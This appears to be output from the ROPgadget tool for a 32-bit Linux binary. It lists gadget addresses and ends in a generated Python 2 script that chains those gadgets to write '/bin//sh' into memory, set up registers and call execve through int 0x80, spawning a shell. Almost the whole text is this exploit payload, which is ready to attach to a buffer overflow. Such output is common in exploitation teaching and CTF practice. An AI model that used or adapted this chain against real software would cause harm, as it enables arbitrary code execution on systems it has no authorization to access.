1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| ROP chain generation ===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8054ec2 mov dword ptr [edx], ecx ; ret [+] Gadget found: 0x806ed0a pop edx ; ret [+] Gadget found: 0x806ed31 pop ecx ; pop ebx ; ret [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'
[+] Gadget found: 0x80a1dad mov dword ptr [edx], eax ; ret [+] Gadget found: 0x806ed0a pop edx ; ret [+] Gadget found: 0x80bb406 pop eax ; ret [+] Gadget found: 0x8054730 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x8054730 xor eax, eax ; ret [+] Gadget found: 0x807b75f inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x80481c9 pop ebx ; ret [+] Gadget found: 0x806ed31 pop ecx ; pop ebx ; ret [+] Gadget found: 0x806ed0a pop edx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x8049781 int 0x80
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2 # execve generated by ROPgadget
from struct import pack
# Padding goes here p = ''
p += pack('<I', 0x0806ed0a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bb406) # pop eax ; ret p += '/bin' p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ed0a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080bb406) # pop eax ; ret p += '//sh' p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ed0a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054730) # xor eax, eax ; ret p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x0806ed31) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080ea060) # padding without overwrite ebx p += pack('<I', 0x0806ed0a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054730) # xor eax, eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x0807b75f) # inc eax ; ret p += pack('<I', 0x08049781) # int 0x80
|